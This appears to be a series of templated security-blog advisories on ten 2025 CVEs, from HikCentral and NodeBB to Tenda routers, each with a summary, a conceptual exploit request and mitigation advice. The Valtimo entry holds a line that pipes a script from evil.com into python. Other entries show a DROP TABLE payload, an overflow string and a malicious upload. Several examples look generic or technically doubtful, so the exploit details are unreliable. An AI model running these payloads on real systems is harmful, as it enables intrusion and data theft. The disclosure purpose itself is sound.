Author: Ameeba

Overview

The CVE-2025-39247 represents a significant security vulnerability present in certain versions of HikCentral Professional, a renowned security management software. This vulnerability allows an unauthenticated user to gain admin permissions, which can lead to potential system compromise or data leakage. The critical nature of the software and the high severity score of the vulnerability underscores the necessity for immediate action and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39247
Severity: Critical (CVSS: 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

HikCentral Professional | Specific versions (version details not provided)

How the Exploit Works

This vulnerability stems from an insufficient control mechanism in HikCentral Professional’s authentication process. An unauthenticated attacker can craft a network request that bypasses the standard authentication process, granting them admin permissions. This elevated access allows them to change system configurations, access sensitive data, or even take control of the system.

Conceptual Example Code

Conceptualizing this vulnerability, an attacker could craft a HTTP request to a vulnerable endpoint like below:

POST /admin/access HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_role": "admin" }

In this example, the attacker sends a POST request to the `/admin/access` endpoint, pretending to be an administrator. The server, due to the vulnerability, fails to validate the user’s authenticity and grants admin privileges.

Mitigation Guidance

The immediate mitigation for this vulnerability involves applying the vendor patch as soon as it becomes available. If the vendor patch isn’t immediately available, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can be configured to block or alert on the network requests indicative of this exploit.
However, the ultimate solution is patching the software to a version where the vulnerability is fixed. Always stay updated with the latest security patches and follow best practices for secure software usage.

Overview

We are addressing a serious vulnerability that affects NodeBB version 4.3.0. The vulnerability, identified as CVE-2025-50979, exposes the software to SQL injection attacks via its search-categories API endpoint (/api/v3/search/categories). This flaw allows malicious actors to potentially compromise the system or cause data leakage. As an open-source forum software written in Node.js, NodeBB is used by many online communities, making this vulnerability a significant concern for moderators and administrators.

Vulnerability Summary

CVE ID: CVE-2025-50979
Severity: High (8.6 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

NodeBB | 4.3.0

How the Exploit Works

The vulnerability stems from a lack of proper sanitization of the search query parameter in the search-categories API endpoint. As a result, an unauthenticated, remote attacker can inject boolean-based blind and PostgreSQL error-based payloads. This allows the attacker to manipulate SQL queries executed by the server and access sensitive data, possibly leading to a system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. Note that the “malicious_payload” below is a placeholder for actual SQL injection payloads.

GET /api/v3/search/categories?search={malicious_payload} HTTP/1.1
Host: target.example.com

This request illustrates how an attacker could send a malicious payload within the search parameter to the vulnerable endpoint.

Mitigation and Prevention

Users of NodeBB 4.3.0 should immediately apply the vendor-provided patch to remediate this vulnerability. In the absence of a patch, you can temporarily mitigate this issue by employing a web application firewall (WAF) or intrusion detection system (IDS). These systems can be configured to detect and block suspicious payloads in the search query parameter of the search-categories API endpoint.
Remember, it’s essential to regularly update your software and systems to prevent such vulnerabilities from being exploited. Cybersecurity is not a one-time task but a continuous process.

Overview

A new vulnerability, identified as CVE-2025-53418, has emerged in the field of cybersecurity, posing a significant risk to users of Delta Electronics COMMGR. This software vulnerability is particularly concerning due to its potential to compromise systems and leak sensitive data. Given the prevalence of Delta Electronics COMMGR in various industries, the impact of this vulnerability could be widespread, affecting a multitude of systems and networks globally. It is therefore essential for users and administrators to understand the nature of this vulnerability and take appropriate mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-53418
Severity: High (8.6 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Delta Electronics COMMGR | All versions prior to patch

How the Exploit Works

The stack buffer overflow vulnerability arises when the software does not properly handle user-supplied input, resulting in overflow of the stack buffer. This overflow can subsequently corrupt other data and execute malicious code. In the case of CVE-2025-53418, an attacker can send specially crafted input to Delta Electronics COMMGR that exceeds the capacity of the stack buffer, thereby triggering the overflow and potential execution of malicious code.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using an HTTP request. Note that the specific details of the malicious payload would depend on the target system and the objectives of the attacker.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "A long string of characters exceeding the stack buffer size" }

In this example, the “malicious_payload” is a string of characters intentionally designed to overflow the stack buffer, potentially leading to execution of malicious code. Please note that this is a conceptual example and the actual exploit code might look different.

Mitigation

Users should immediately apply the vendor-provided patch to remediate this vulnerability. If this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation methods to monitor network traffic for suspicious activity. It is also recommended to limit exposure of the vulnerable system to the internet and restrict access to trusted users only until the patch is applied. Regularly updating and patching systems can significantly reduce the risk of such vulnerabilities.

Overview

The CVE-2025-43960 vulnerability is a severe flaw found in Adminer 4.8.1, a popular database management tool. The vulnerability emerges when the software utilizes Monolog for logging, leading to a Denial of Service (DoS) scenario and PHP Object Injection issues. This vulnerability primarily affects system administrators and web developers who employ Adminer 4.8.1 to manage their databases. The implications of this vulnerability are substantial as it allows unauthenticated, remote attackers to trigger excessive memory usage, which can cause a system to crash or become unresponsive.

Vulnerability Summary

CVE ID: CVE-2025-43960
Severity: Critical (CVSS: 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service and PHP Object Injection leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Adminer | 4.8.1

How the Exploit Works

The vulnerability lies in the way Adminer 4.8.1, when using Monolog for logging, handles serialized payloads. Attackers can craft a malicious serialized object (e.g., using s:1000000000), causing excessive memory consumption. This high memory usage can render Adminer’s user interface unresponsive, leading to a Denial of Service. If multiple simultaneous requests are made, the server can crash entirely, necessitating manual intervention for recovery. The same vulnerability also opens up a path for PHP Object Injection.

Conceptual Example Code

The following is a conceptual example of a potential exploit. It entails a POST request to a vulnerable endpoint, with the body of the request containing a malicious serialized payload.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "s:1000000000" }

Recommended Mitigation Measures

In response to this vulnerability, it is recommended that users immediately apply the patch provided by the vendor. In the interim, while the patch is being applied, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation measures. It is essential to stay vigilant and apply the necessary security measures to prevent potential system compromise or data leakage.

Overview

Today, we tackle a critical vulnerability identified as CVE-2025-55383, which affects the Moss platform before v0.15. This vulnerability is of utmost concern as it allows attackers to upload files with any extension to any location on the target server. Such a vulnerability can potentially compromise a system or lead to significant data leakage, thereby posing a serious threat to the confidentiality, integrity, and availability of data.
This vulnerability stands out due to its high severity score, which is an alarming 8.6. This score indicates the potential damage it can cause if left unpatched. For organizations relying heavily on Moss for their operations, this vulnerability is a ticking time bomb that needs immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-55383
Severity: High (8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Moss | Before v0.15

How the Exploit Works

The exploit takes advantage of a misconfiguration in the “upload” function of Moss. This misconfiguration allows an attacker to bypass security restrictions and upload files of any extension to any location on the target server. The attacker can upload a malicious script or executable file, which can then be executed to compromise the system or to leak sensitive data.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. This is a sample HTTP POST request to upload a malicious file to the server:

POST /upload/file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.sh"
Content-Type: application/x-sh
{ "malicious_script": "..." }
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Mitigation

The best mitigation for this vulnerability is to apply the vendor patch. It is strongly recommended to upgrade to a version of Moss that is v0.15 or later. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can be configured to block or alert on suspicious file uploads that may be attempts to exploit this vulnerability.

Overview

The cybersecurity world is faced with a new challenge in the form of a vulnerability labeled as CVE-2025-28041. This flaw resides in the doFilter function of itranswarp up to version 2.19. The incorrect access control within this function allows potential attackers to access sensitive components without the necessity of authentication. This vulnerability is a significant concern for any company or individual utilizing itranswarp, as it can lead to compromising system integrity and potential data leakage.

Vulnerability Summary

CVE ID: CVE-2025-28041
Severity: High (8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive components leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Itranswarp | Up to 2.19

How the Exploit Works

The exploit works by leveraging incorrect access control in the doFilter function of itranswarp. With no proper access control or authentication in place, an attacker can easily access sensitive components of the system. In essence, the vulnerability acts as an open door, allowing attackers to bypass any security measures and gain unauthorized access to sensitive parts of the system.

Conceptual Example Code

To illustrate the vulnerability, consider the following HTTP request as a conceptual example. An attacker could send a request to a vulnerable endpoint, effectively bypassing the lack of access control.

GET /sensitive/component HTTP/1.1
Host: target.example.com

Upon receiving this request, the vulnerable server may return sensitive information to the attacker, leading to potential system compromise or data leakage.

Mitigation

The primary mitigation strategy for this vulnerability is to apply the vendor patch. In the event that the patch is unavailable or cannot be applied immediately, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help to monitor and control incoming and outgoing network traffic based on predetermined security rules, thus reducing the risk of a successful exploit. Nonetheless, the vendor patch should be applied as soon as it becomes available to ensure the long-term security of your systems.

Overview

The cybersecurity community has recently witnessed the publication of a critical vulnerability labelled as CVE-2025-58059. This security issue affects Valtimo, a popular platform for Business Process Automation. The vulnerability is significant due to the potential it offers for system compromise or data leakage, particularly for organizations heavily reliant on Valtimo’s platform for their business operations. The flaw affects versions before 12.16.0.RELEASE, and from 13.0.0.RELEASE to before 13.1.2.RELEASE. Timely response and remediation are highly advised to avoid the significant repercussions associated with a potential breach.

Vulnerability Summary

CVE ID: CVE-2025-58059
Severity: Critical (9.1 based on CVSS scoring)
Attack Vector: Network
Privileges Required: Admin
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Valtimo | Before 12.16.0.RELEASE
Valtimo | 13.0.0.RELEASE to before 13.1.2.RELEASE

How the Exploit Works

The exploit hinges on the ability of an admin to create, modify, and execute process definitions. This can potentially allow the execution of arbitrary scripts leading to several high-risk outcomes. These include running executables on the application host, extracting sensitive application data, and inspecting the host environment or application properties, including Spring beans. The exploit requires the attacker to be logged in as an admin and to have a fundamental understanding of running scripts via the Camunda/Operator engine.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited. This is represented in pseudocode for illustrative purposes:

# Login as admin
login('admin', 'admin_password')
# Create a process definition with malicious script
create_process_definition("""
import os
os.system('curl http://evil.com/steal_data.py | python')
""")
# Execute the process definition
execute_process_definition()

This pseudocode example represents a malicious script embedded within a process definition. This script, when executed, would pull down a second script from a hostile server and execute it, potentially leading to data exfiltration or other malicious activities. This illustrates the potential severity of the CVE-2025-58059 vulnerability. A real exploit may be more complex and less obvious.

Overview

In the field of cybersecurity, the discovery of new vulnerabilities is a common occurrence. One such critical vulnerability has been identified in the TSA developed by Changing. This vulnerability, identified as CVE-2025-8861, is of particular concern due to its high severity score and the potential impact it can have on affected systems. This vulnerability permits unauthenticated remote attackers to read, modify, and delete database contents, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-8861
Severity: Critical (CVSS Score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Changing’s TSA | All versions prior to the patched update

How the Exploit Works

The exploit works by taking advantage of the Missing Authentication vulnerability in the TSA developed by Changing. Specifically, the vulnerability lies in the software’s failure to properly authenticate users before granting access to the database. As a result, unauthenticated remote attackers can gain unrestricted access to the database, enabling them to read, modify, and delete its contents.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. It represents a HTTP request where the attacker sends a malicious payload to a vulnerable endpoint:

POST /database/modify HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "DROP TABLE Customers;" }

In this hypothetical example, the attacker sends a SQL command as part of the malicious payload that would delete an entire table from the database.

Mitigation Guidance

To mitigate against this vulnerability, users are strongly advised to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can help to monitor network traffic and detect any malicious activities, thereby providing an additional layer of security until the patch can be installed.

Overview

In today’s post, we are going to delve into a recently disclosed vulnerability, CVE-2025-8857, which could potentially compromise the Clinic Image System developed by Changing. This vulnerability is of particular concern due to the high severity score of 9.8, indicating a critical risk. Clinics, hospitals, and healthcare providers using this system are at risk of unauthorized access and data leakage, which could not only disrupt their operations but also violate patient privacy regulations.

Vulnerability Summary

CVE ID: CVE-2025-8857
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Clinic Image System | All versions prior to patch

How the Exploit Works

The vulnerability originates from hard-coded administrative credentials embedded in the source code of the Clinic Image System. This allows any remote attacker to bypass authentication mechanisms and log into the system using these credentials.
Once logged in with administrator privileges, the attacker could potentially have unfettered access to sensitive information, including patient data. Moreover, they could manipulate system configurations, disrupt operations, or even introduce malicious software into the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /login HTTP/1.1
Host: target.clinicimagesystem.com
Content-Type: application/json
{
"username": "hardcoded_admin_user",
"password": "hardcoded_admin_password"
}

In this example, the attacker sends a POST request to the login endpoint of the Clinic Image System with the hard-coded admin credentials, gaining unauthorized access to the system.

Mitigation Guidance

As a temporary mitigation measure, users of the Clinic Image System can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious activities.
However, the recommended long-term solution is to apply the vendor patch which removes the hard-coded credentials from the source code. Users are urged to apply this patch as soon as possible to prevent potential attacks exploiting this vulnerability.

Overview

A critical vulnerability has been discovered in Tenda AC21 and AC23 routers, specifically in the 16.03.08.16 version. This security flaw, identified as CVE-2025-9605, exposes the routers to remote attacks, potentially leading to system compromise and data leakage. Given that Tenda routers are widely used globally, this vulnerability poses a significant risk to millions of Internet users, making it a matter of grave concern.

Vulnerability Summary

CVE ID: CVE-2025-9605
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC21| 16.03.08.16
Tenda AC23| 16.03.08.16

How the Exploit Works

The vulnerability lies in the GetParentControlInfo function of the file /goform/GetParentControlInfo. The attack is based on manipulating the ‘mac’ argument, which causes a stack-based buffer overflow. A buffer overflow occurs when more data is written into a block of memory, or buffer, than it can hold. In this case, the overflow occurs in the stack, a region of memory used for static data and local variables.
An attacker can exploit this vulnerability by sending specially crafted input to the affected function, causing the system to crash or execute arbitrary code. Since the attack can be launched remotely, the attacker does not need physical access to the device, making it easier to exploit and harder to detect.

Conceptual Example Code

Given below is a conceptual example of how the vulnerability might be exploited. This is an HTTP POST request with a malicious payload, designed to exploit the buffer overflow vulnerability:

POST /goform/GetParentControlInfo HTTP/1.1
Host: target_router_ip
Content-Type: application/json
{ "mac": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." }

In this example, the ‘mac’ argument is overfilled with ‘A’s. This causes a buffer overflow in the target system, potentially crashing it or allowing the execution of arbitrary code.

Mitigation Guidance

Users of affected Tenda routers are strongly advised to apply the vendor patch as soon as possible. In the interim, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) may serve as temporary mitigation measures. However, these are not long-term solutions and can only reduce the risk of exploit, not eliminate it. Therefore, applying the vendor patch remains the most effective way to secure systems against this vulnerability.